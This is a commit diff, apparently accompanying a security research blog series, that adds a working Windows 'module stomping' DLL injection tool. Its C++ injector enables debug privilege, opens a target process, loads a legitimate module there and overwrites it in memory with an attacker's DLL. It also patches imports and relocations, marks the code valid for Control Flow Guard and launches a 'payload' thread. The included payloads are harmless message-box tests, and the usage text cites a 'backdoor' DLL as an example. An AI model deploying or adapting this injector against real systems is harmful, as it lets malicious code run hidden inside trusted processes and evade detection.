Add materials for part 2 of the blogpost series

cowspot.sln

@@ -3,6 +3,8 @@ Microsoft Visual Studio Solution File, Format Version 12.00
 # Visual Studio 15
 VisualStudioVersion = 15.0.28010.2046
 MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}"
+EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject_simple", "inject_simple\inject_simple.vcxproj", "{5C90611E-0874-4618-9C3D-B1385C83FBDF}"
 EndProject
 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "injectionUtils", "injectionUtils\injectionUtils.vcxproj", "{171D6509-8BA1-489E-BB38-B3DB2C9B53BB}"
@@ -15,6 +17,14 @@ Global
 		Release|x86 = Release|x86
 	EndGlobalSection
 	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Debug|x64.ActiveCfg = Debug|x64
+		{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Debug|x64.Build.0 = Debug|x64
+		{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Debug|x86.ActiveCfg = Debug|Win32
+		{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Debug|x86.Build.0 = Debug|Win32
+		{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Release|x64.ActiveCfg = Release|x64
+		{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Release|x64.Build.0 = Release|x64
+		{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Release|x86.ActiveCfg = Release|Win32
+		{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}.Release|x86.Build.0 = Release|Win32
 		{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.ActiveCfg = Debug|x64
 		{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x64.Build.0 = Debug|x64
 		{5C90611E-0874-4618-9C3D-B1385C83FBDF}.Debug|x86.ActiveCfg = Debug|Win32

inject/inject.cpp

@@ -0,0 +1,244 @@
+#include "pch.h"
+#include <Windows.h>
+#include <iostream>
+#include <tlhelp32.h>
+#include <psapi.h>
+#include <shlwapi.h>
+
+#include <exception>
+#include <sstream>
+#include <vector>
+#include <map>
+#include <codecvt>
+
+#include "../injectionUtils/public.h"
+
+
+void doUsage(int argc, TCHAR *argv[])
+{
+	printf("Module stomping injection tool, by Aliz Hammond at Countercept\n");
+	printf("This tool will inject a DLL into a target process by overwriting a specified legitimate module in the target.\n");
+	printf("The injected DLL must have a compatible memory layout with the legitimate module it overwrites.\n");
+	printf("Usage: %S <target process name> <DLL to inject> <module to overwrite>\n", argv[0]);
+	printf("eg. %S snippingtool.exe C:\\myEliteBackdoor.dll d3d10.dll\n", argv[0]);
+}
+
+unsigned long long resolveImport(HANDLE toScanHandle, std::map<std::wstring, moduleInMemory*>* modules, std::wstring moduleName, std::wstring functionName)
+{
+	// If we haven't seen this module before, get some info about it (and load it if needed)
+	std::map<std::wstring, moduleInMemory*>::iterator it = modules->find(moduleName);
+	if (it == modules->end())
+	{
+		// Is it loaded already?
+		void* moduleToStompBase = getModuleBase(toScanHandle, moduleName.c_str());
+		if (moduleToStompBase == NULL)
+		{
+			// Not loaded already, so load it into the target address space
+			injectLoadLibrary(toScanHandle, moduleName.c_str());
+		}
+
+		// Now construct some info about this module.
+		modules->insert(std::pair<std::wstring, moduleInMemory*>(moduleName, new moduleInMemory(toScanHandle, moduleToStompBase)));
+		it = modules->find(moduleName);
+	}
+
+	// Finally, we can look up the export itself.
+	// If it is forwarded, we resolve it recursively.
+	exportedFunc* resolvedImport = (*it).second->getExport(functionName);
+	if (resolvedImport->isForwarded)
+		return resolveImport(toScanHandle, modules, resolvedImport->forwardedModuleName, resolvedImport->forwardedFunctionName);
+
+	return resolvedImport->functionPointerSite;
+}
+
+int wmainWrapped(int argc, TCHAR *argv[]) 
+{
+	if (argc != 4)
+	{
+		doUsage(argc, argv);
+		return -1;
+	}
+
+	TCHAR* targetProcessName = argv[1];
+	TCHAR* targetModuleName = argv[2];
+	TCHAR* moduleToStompFilename = argv[3];
+
+	// Load the module that the user wants to inject into the target process.
+	moduleFromDisk sourceModule(targetModuleName);
+
+	DWORD targetPid = getPIDForProcessByName(targetProcessName);
+	if (targetPid == 0)
+	{
+		std::wstringstream os(L"");
+		os << "Can't find process" << targetProcessName;
+		throw errorMaker::wruntime_error(&os);
+	}
+
+	if (!EnableDebugPrivilege(TRUE))
+		throw std::exception("Couldn't enable debug privilege\n");
+
+	HANDLE toScanHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_ALL_ACCESS | PROCESS_SUSPEND_RESUME, FALSE, targetPid);
+	if (toScanHandle == NULL)
+	{
+		std::wstringstream os(L"");
+		os << "Couldn't open target process (PID " << targetPid << "), GetLastError " << GetLastError();
+		throw errorMaker::wruntime_error(&os);
+	}
+
+	// Convince the target to load the library we're going to stomp on top of. We just inject a thread to LoadLibraryA.
+	void* moduleToStompBase = injectLoadLibrary(toScanHandle, moduleToStompFilename);
+
+	// Find the module we'll be overwriting
+	moduleInMemory targetModule = moduleInMemory(toScanHandle, moduleToStompBase);
+
+	// And inject each section in turn.
+	for (unsigned int sectionIndex = 0; sectionIndex < sourceModule.sections.size(); sectionIndex++)
+	{
+		section srcSect = sourceModule.sections[sectionIndex];
+		printf("Overwriting section '%S'..\n", srcSect.name.c_str());
+
+		// Check perms match OK
+		bool foundOK = false;
+		for (unsigned int n = 0; n < targetModule.sections.size(); n++)
+		{
+			section* dstSect = &targetModule.sections[n];
+			if ((srcSect.VirtualAddress >= dstSect->VirtualAddress) &&
+				(srcSect.VirtualAddress <= dstSect->VirtualAddress + dstSect->VirtualSize))
+			{
+				DWORD dstAttr = dstSect->Characteristics;
+				DWORD srcAttr = srcSect.Characteristics;
+
+				// Attributes are only important for memory permissions.
+				bool srcR = srcAttr & IMAGE_SCN_MEM_READ;
+				bool srcW = srcAttr & IMAGE_SCN_MEM_WRITE;
+				bool srcE = srcAttr & IMAGE_SCN_MEM_EXECUTE;
+				bool dstR = dstAttr & IMAGE_SCN_MEM_READ;
+				bool dstW = dstAttr & IMAGE_SCN_MEM_WRITE;
+				bool dstE = dstAttr & IMAGE_SCN_MEM_EXECUTE;
+				
+				// We can put RO code into a RW area.
+				if ( dstR && dstW && srcR )
+					srcW = true;
+
+				// Do the permissions differ between what we're trying to load and memory itself?
+				if ((srcR != dstR) || (srcW != dstW) || (srcE != dstE))
+				{
+					printf("Cannot stomp memory at source VA 0x%08lx: permissions mismatch!\n", srcSect.VirtualAddress);
+					printf("%S section '%S' requires permissions %s%s%s\n",
+						targetModuleName,
+						srcSect.name.c_str(),
+						srcR ? "R" : "",
+						srcW ? "W" : "",
+						srcE ? "E" : "");
+					printf("%S section '%S' has permissions %s%s%s\n",
+						moduleToStompFilename,
+						dstSect->name.c_str(),
+						dstR ? "R" : "",
+						dstW ? "W" : "",
+						dstE ? "E" : "");
+					return -1;
+				}
+				foundOK = true;
+				break;
+			}
+		}
+		if (!foundOK)
+		{
+			section* dstByName = sourceModule.getSectionByName(srcSect.name);
+			std::wstringstream os(L"");
+			if (dstByName != NULL)
+				os << "Can't find section to overwrite for source section " << srcSect.name << " - maybe try " << std::hex << dstByName->VirtualAddress << " instead of " << srcSect.VirtualAddress  << " ?";
+			else
+				os <<  "Can't find section to overwrite for source section " << srcSect.name;
+			throw errorMaker::wruntime_error(&os);
+		}
+
+		// If we're writing executable code, then we should also add exceptions to the CFG bitmap.
+		if (srcSect.Characteristics & IMAGE_SCN_MEM_EXECUTE)
+		{
+			for (unsigned int n = 0; n < srcSect.VirtualSize; n += 16)
+				targetModule.markCFGValid(n);
+		}
+
+		if (srcSect.Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
+		{
+			unsigned char* sectionData = (unsigned char*)malloc(srcSect.VirtualSize);
+			memset(sectionData, 0x00, srcSect.VirtualSize);
+			targetModule.writeToModule(sectionData, srcSect.VirtualAddress, srcSect.VirtualSize);
+			free(sectionData);
+		}
+		else
+		{
+			// printf("Writing 0x%08lx bytes starting at 0x%08lx\n", srcSect.VirtualSize, srcSect.VirtualAddress);
+			unsigned char* sectionData = (unsigned char*)malloc(srcSect.VirtualSize);
+			sourceModule.readFromModule(srcSect.VirtualAddress, sectionData, srcSect.VirtualSize);
+			targetModule.writeToModule(sectionData, srcSect.VirtualAddress, srcSect.VirtualSize);
+			free(sectionData);
+		}
+	}
+
+	// Now rebuild the import table.
+	printf("Rebuilding imports..\n");
+	std::map<std::wstring, moduleInMemory*> moduleCache;
+	for (unsigned int n = 0; n < sourceModule.imports.size(); n++)
+	{
+		unsigned long long FPRVA = (unsigned long long)sourceModule.imports[n].functionPointerRVA;
+		unsigned long long resolved = resolveImport(toScanHandle, &moduleCache, sourceModule.imports[n].moduleName, sourceModule.imports[n].functionName);
+		targetModule.writeToModule(&resolved, FPRVA, sizeof(unsigned long long));
+	}
+	
+	// Apply any relocations
+	printf("Applying relocations..\n");
+	for (unsigned int n = 0; n < sourceModule.relocs.size(); n++)
+	{
+		unsigned long long fixedUp;
+		targetModule.readFromModule(sourceModule.relocs[n].targetSite, &fixedUp, sourceModule.relocs[n].size);
+		fixedUp += (((unsigned long long)targetModule.targetModuleBase) - sourceModule.preferredBaseAddress );
+		targetModule.writeToModule(&fixedUp, sourceModule.relocs[n].targetSite, sourceModule.relocs[n].size);
+		printf("Location %llx now %llx\n", sourceModule.relocs[n].targetSite, fixedUp);
+	}
+
+	// Call the module's entrypoint so the CRT can initialise
+	printf("Calling module entrypoint..\n");
+	unsigned long long args[3] = { (unsigned long long)targetModule.targetModuleBase, DLL_PROCESS_ATTACH, 0 };
+	targetModule.injectThread(sourceModule.entrypoint, args, 3 );
+
+	unsigned long long args2[3] = { (unsigned long long)targetModule.targetModuleBase, DLL_THREAD_ATTACH, 0 };
+	targetModule.injectThread(sourceModule.entrypoint, args2, 3);
+	
+	// Call the TLS callbacks
+	printf("Calling TLS callbacks..\n");
+	for (unsigned int n = 0; n < sourceModule.TLSCallbacks.size(); n++)
+		targetModule.injectThread(sourceModule.TLSCallbacks[n], NULL, 0);
+	
+	// Finally, start a remote thread to call the entry point.
+	// If 'payload' doesn't exist, try the C++ mangled void(void) style.
+	exportedFunc* payloadExp = NULL;
+	if (sourceModule.hasExport(L"payload"))
+		payloadExp = sourceModule.getExport(L"payload");
+	else if (sourceModule.hasExport(L"_Z7payloadv"))
+		payloadExp = sourceModule.getExport(L"_Z7payloadv");
+	else
+		throw std::exception("Injected code does not export 'payload' function\n");
+
+	printf("Starting payload thread\n");
+	targetModule.injectThread(payloadExp->functionPointerRVA, NULL, 0, false);
+
+	printf("All OK.\n");
+
+	return 0;
+}
+
+
+int wmain(int argc, TCHAR *argv[])
+{
+	try
+	{
+		return wmainWrapped(argc, argv);
+	}
+	catch (std::exception& e)
+	{
+		printf("Exception:\n");
+		printf(e.what());
+	}
+}

inject/inject.vcxproj

@@ -0,0 +1,185 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <ItemGroup Label="ProjectConfigurations">
+    <ProjectConfiguration Include="Debug|Win32">
+      <Configuration>Debug</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|Win32">
+      <Configuration>Release</Configuration>
+      <Platform>Win32</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Debug|x64">
+      <Configuration>Debug</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+    <ProjectConfiguration Include="Release|x64">
+      <Configuration>Release</Configuration>
+      <Platform>x64</Platform>
+    </ProjectConfiguration>
+  </ItemGroup>
+  <PropertyGroup Label="Globals">
+    <VCProjectVersion>15.0</VCProjectVersion>
+    <ProjectGuid>{35928C18-5D5D-4BC6-88CE-E5BBE00C0446}</ProjectGuid>
+    <Keyword>Win32Proj</Keyword>
+    <RootNamespace>inject</RootNamespace>
+    <WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v141</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+    <SpectreMitigation>false</SpectreMitigation>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v141</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+    <SpectreMitigation>false</SpectreMitigation>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>true</UseDebugLibraries>
+    <PlatformToolset>v141</PlatformToolset>
+    <CharacterSet>Unicode</CharacterSet>
+    <SpectreMitigation>false</SpectreMitigation>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
+    <ConfigurationType>Application</ConfigurationType>
+    <UseDebugLibraries>false</UseDebugLibraries>
+    <PlatformToolset>v141</PlatformToolset>
+    <WholeProgramOptimization>true</WholeProgramOptimization>
+    <CharacterSet>Unicode</CharacterSet>
+    <SpectreMitigation>false</SpectreMitigation>
+  </PropertyGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
+  <ImportGroup Label="ExtensionSettings">
+  </ImportGroup>
+  <ImportGroup Label="Shared">
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
+  </ImportGroup>
+  <PropertyGroup Label="UserMacros" />
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <LinkIncremental>true</LinkIncremental>
+  </PropertyGroup>
+  <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <LinkIncremental>false</LinkIncremental>
+  </PropertyGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>MaxSpeed</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+      <TreatWarningAsError>true</TreatWarningAsError>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+      <TreatWarningAsError>true</TreatWarningAsError>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>Disabled</Optimization>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+      <TreatWarningAsError>true</TreatWarningAsError>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
+    <ClCompile>
+      <PrecompiledHeader>Use</PrecompiledHeader>
+      <WarningLevel>Level3</WarningLevel>
+      <Optimization>MaxSpeed</Optimization>
+      <FunctionLevelLinking>true</FunctionLevelLinking>
+      <IntrinsicFunctions>true</IntrinsicFunctions>
+      <SDLCheck>true</SDLCheck>
+      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <ConformanceMode>true</ConformanceMode>
+      <PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
+      <TreatWarningAsError>true</TreatWarningAsError>
+    </ClCompile>
+    <Link>
+      <SubSystem>Console</SubSystem>
+      <EnableCOMDATFolding>true</EnableCOMDATFolding>
+      <OptimizeReferences>true</OptimizeReferences>
+      <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>Shlwapi.lib;%(AdditionalDependencies)</AdditionalDependencies>
+    </Link>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClInclude Include="pch.h" />
+  </ItemGroup>
+  <ItemGroup>
+    <ClCompile Include="inject.cpp" />
+    <ClCompile Include="pch.cpp">
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
+      <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
+    </ClCompile>
+  </ItemGroup>
+  <ItemGroup>
+    <ProjectReference Include="..\injectionUtils\injectionUtils.vcxproj">
+      <Project>{171d6509-8ba1-489e-bb38-b3db2c9b53bb}</Project>
+    </ProjectReference>
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+  </ImportGroup>
+</Project>

inject/pch.cpp

@@ -0,0 +1,5 @@
+// pch.cpp: source file corresponding to pre-compiled header; necessary for compilation to succeed
+
+#include "pch.h"
+
+// In general, ignore this file, but keep it around if you are using pre-compiled headers.

injectionPayloads/Makefile

@@ -0,0 +1,16 @@
+
+ifndef ldscript
+$(error Set 'ldscript' to the linker script to use, eg, "make ldscript=ldscript.d3d10")
+endif
+
+CC = x86_64-w64-mingw32-gcc
+FLAGS =  -mdll -s -T $(ldscript) -lws2_32
+
+all : hello.dll globalCstrs.dll winsock.dll tls.dll
+clean : hello.dll-clean globalCstrs.dll-clean winsock.dll-clean tls.dll-clean
+
+%.dll :
+	$(CC) $(basename $@).cpp -o $@ $(FLAGS) 
+
+%.dll-clean :
+	rm $(basename $@).dll

injectionPayloads/exception.cpp

@@ -0,0 +1,23 @@
+#include <windows.h>
+
+__declspec(dllexport) void payload()
+{
+	bool didCatch = FALSE;
+  try
+	{
+		throw 1;
+	}
+	catch(int)
+	{
+		didCatch = TRUE;
+	}
+	if (!didCatch)
+		MessageBoxA(0, "No exception caught", "Results", 0);
+	else
+		MessageBoxA(0, "Exception caught OK", "Results", 0);
+	ExitThread(0);
+}
+BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved )
+{
+	return 1;
+}

injectionPayloads/globalCstrs.cpp

@@ -0,0 +1,21 @@
+#include <windows.h>
+
+class foo
+{
+public:
+	foo(int num)
+	{
+		this->num = num * 2;
+	}
+	int num;
+};
+
+foo myfoo(10);
+
+__declspec(dllexport) void payload()
+{
+	if (myfoo.num != 20)
+		MessageBoxA(0, "Incorrect", "Results", 0);
+	else
+		MessageBoxA(0, "Correct", "Results", 0);
+}

injectionPayloads/hello.cpp

@@ -0,0 +1,12 @@
+
+#include <windows.h>
+
+__declspec(dllexport) void payload()
+{
+	MessageBoxA(0, "hi", "Hello world", 0);
+	ExitThread(0);
+}
+BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved )
+{
+	return 1;
+}

injectionPayloads/ldscript.WindowsCodecsRaw

@@ -0,0 +1,316 @@
+/* Default linker script, for normal executables */
+/* Copyright (C) 2014-2017 Free Software Foundation, Inc.
+   Copying and distribution of this script, with or without modification,
+   are permitted in any medium without royalty provided the copyright
+   notice and this notice are preserved.  */
+OUTPUT_FORMAT(pei-x86-64)
+SEARCH_DIR("/usr/x86_64-pc-msys/lib"); SEARCH_DIR("/usr/lib"); SEARCH_DIR("/usr/lib/w32api");
+SECTIONS
+{
+  /* Make the virtual address and file offset synced if the alignment is
+     lower than the target page size. */
+  .text __image_base__ + 0x00001000 :
+  {
+     KEEP(*(.init))
+    *(.text)
+    *(SORT(.text$*))
+     *(.text.*)
+     *(.gnu.linkonce.t.*)
+    *(.glue_7t)
+    *(.glue_7)
+    . = ALIGN(8);
+     ___CTOR_LIST__ = .; __CTOR_LIST__ = . ;
+			LONG (-1); LONG (-1);
+			KEEP (*(.ctors));
+			KEEP (*(.ctor));
+			KEEP (*(SORT(.ctors.*)));
+			LONG (0); LONG (0);
+     ___DTOR_LIST__ = .; __DTOR_LIST__ = . ;
+			LONG (-1); LONG (-1);
+			KEEP (*(.dtors));
+			KEEP (*(.dtor));
+			KEEP (*(SORT(.dtors.*)));
+			LONG (0); LONG (0);
+     KEEP (*(.fini))
+    /* ??? Why is .gcc_exc here?  */
+     *(.gcc_exc)
+    PROVIDE (etext = .);
+     KEEP (*(.gcc_except_table))
+  }
+  /* The Cygwin32 library uses a section to avoid copying certain data
+     on fork.  This used to be named ".data".  The linker used
+     to include this between __data_start__ and __data_end__, but that
+     breaks building the cygwin32 dll.  Instead, we name the section
+     ".data_cygwin_nocopy" and explicitly include it after __data_end__. */
+    .data  __image_base__ + 0x00366000 :
+  {
+    __data_start__ = . ;
+    *(.data)
+    *(.data2)
+    *(SORT(.data$*))
+    KEEP(*(.jcr))
+    __data_end__ = . ;
+    *(.data_cygwin_nocopy)
+  }
+  .rdata BLOCK(__section_alignment__) :
+  {
+    *(.rdata)
+             *(SORT(.rdata$*))
+    __rt_psrelocs_start = .;
+    KEEP(*(.rdata_runtime_pseudo_reloc))
+    __rt_psrelocs_end = .;
+  }
+  __rt_psrelocs_size = __rt_psrelocs_end - __rt_psrelocs_start;
+  ___RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+  __RUNTIME_PSEUDO_RELOC_LIST_END__ = .;
+  ___RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+  __RUNTIME_PSEUDO_RELOC_LIST__ = . - __rt_psrelocs_size;
+  .eh_frame BLOCK(__section_alignment__) :
+  {
+    KEEP (*(.eh_frame*))
+  }
+  .pdata BLOCK(__section_alignment__) :
+  {
+    KEEP(*(.pdata*))
+  }
+  .xdata BLOCK(__section_alignment__) :
+  {
+    KEEP(*(.xdata*))
+  }
+  .bss BLOCK(__section_alignment__) :
+  {
+    __bss_start__ = . ;
+    *(.bss)
+    *(COMMON)
+    __bss_end__ = . ;
+  }
+  .edata BLOCK(__section_alignment__) :
+  {
+    *(.edata)
+  }
+  /DISCARD/ :
+  {
+    *(.debug$S)
+    *(.debug$T)
+    *(.debug$F)
+    *(.drectve)
+     *(.note.GNU-stack)
+     *(.gnu.lto_*)
+  }
+  .idata BLOCK(__section_alignment__) :
+  {
+    /* This cannot currently be handled with grouped sections.
+	See pep.em:sort_sections.  */
+    KEEP (SORT(*)(.idata$2))
+    KEEP (SORT(*)(.idata$3))
+    /* These zeroes mark the end of the import list.  */
+    LONG (0); LONG (0); LONG (0); LONG (0); LONG (0);
+    KEEP (SORT(*)(.idata$4))
+    __IAT_start__ = .;
+    SORT(*)(.idata$5)
+    __IAT_end__ = .;
+    KEEP (SORT(*)(.idata$6))
+    KEEP (SORT(*)(.idata$7))
+  }
+  .CRT BLOCK(__section_alignment__) :
+  {
+    ___crt_xc_start__ = . ;
+    KEEP (*(SORT(.CRT$XC*)))  /* C initialization */
+    ___crt_xc_end__ = . ;
+    ___crt_xi_start__ = . ;
+    KEEP (*(SORT(.CRT$XI*)))  /* C++ initialization */
+    ___crt_xi_end__ = . ;
+    ___crt_xl_start__ = . ;
+    KEEP (*(SORT(.CRT$XL*)))  /* TLS callbacks */
+    /* ___crt_xl_end__ is defined in the TLS Directory support code */
+    ___crt_xp_start__ = . ;
+    KEEP (*(SORT(.CRT$XP*)))  /* Pre-termination */
+    ___crt_xp_end__ = . ;
+    ___crt_xt_start__ = . ;
+    KEEP (*(SORT(.CRT$XT*)))  /* Termination */
+    ___crt_xt_end__ = . ;
+  }
+  /* Windows TLS expects .tls$AAA to be at the start and .tls$ZZZ to be
+     at the end of the .tls section.  This is important because _tls_start MUST
+     be at the beginning of the section to enable SECREL32 relocations with TLS
+     data.  */
+  .tls BLOCK(__section_alignment__) :
+  {
+    ___tls_start__ = . ;
+    KEEP (*(.tls$AAA))
+    KEEP (*(.tls))
+    KEEP (*(.tls$))
+    KEEP (*(SORT(.tls$*)))
+    KEEP (*(.tls$ZZZ))
+    ___tls_end__ = . ;
+  }
+  .endjunk BLOCK(__section_alignment__) :
+  {
+    /* end is deprecated, don't use it */
+    PROVIDE (end = .);
+    PROVIDE ( _end = .);
+     __end__ = .;
+  }
+  .rsrc BLOCK(__section_alignment__) : SUBALIGN(4)
+  {
+    KEEP (*(.rsrc))
+    KEEP (*(.rsrc$*))
+  }
+  .reloc BLOCK(__section_alignment__) :
+  {
+    *(.reloc)
+  }
+  .stab BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.stab)
+  }
+  .stabstr BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.stabstr)
+  }
+  /* DWARF debug sections.
+     Symbols in the DWARF debugging sections are relative to the beginning
+     of the section.  Unlike other targets that fake this by putting the
+     section VMA at 0, the PE format will not allow it.  */
+  /* DWARF 1.1 and DWARF 2.  */
+  .debug_aranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_aranges)
+  }
+  .zdebug_aranges BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_aranges)
+  }
+  .debug_pubnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_pubnames)
+  }
+  .zdebug_pubnames BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_pubnames)
+  }
+  .debug_pubtypes BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_pubtypes)
+  }
+  .zdebug_pubtypes BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.zdebug_pubtypes)
+  }
+  /* DWARF 2.  */
+  .debug_info BLOCK(__section_alignment__) (NOLOAD) :
+  {
+    *(.debug_info .gnu.linkonce.wi.*)
+  }
+  .zdebug_info BLOCK(__section_alignment__) (NOLOAD) :
+  {
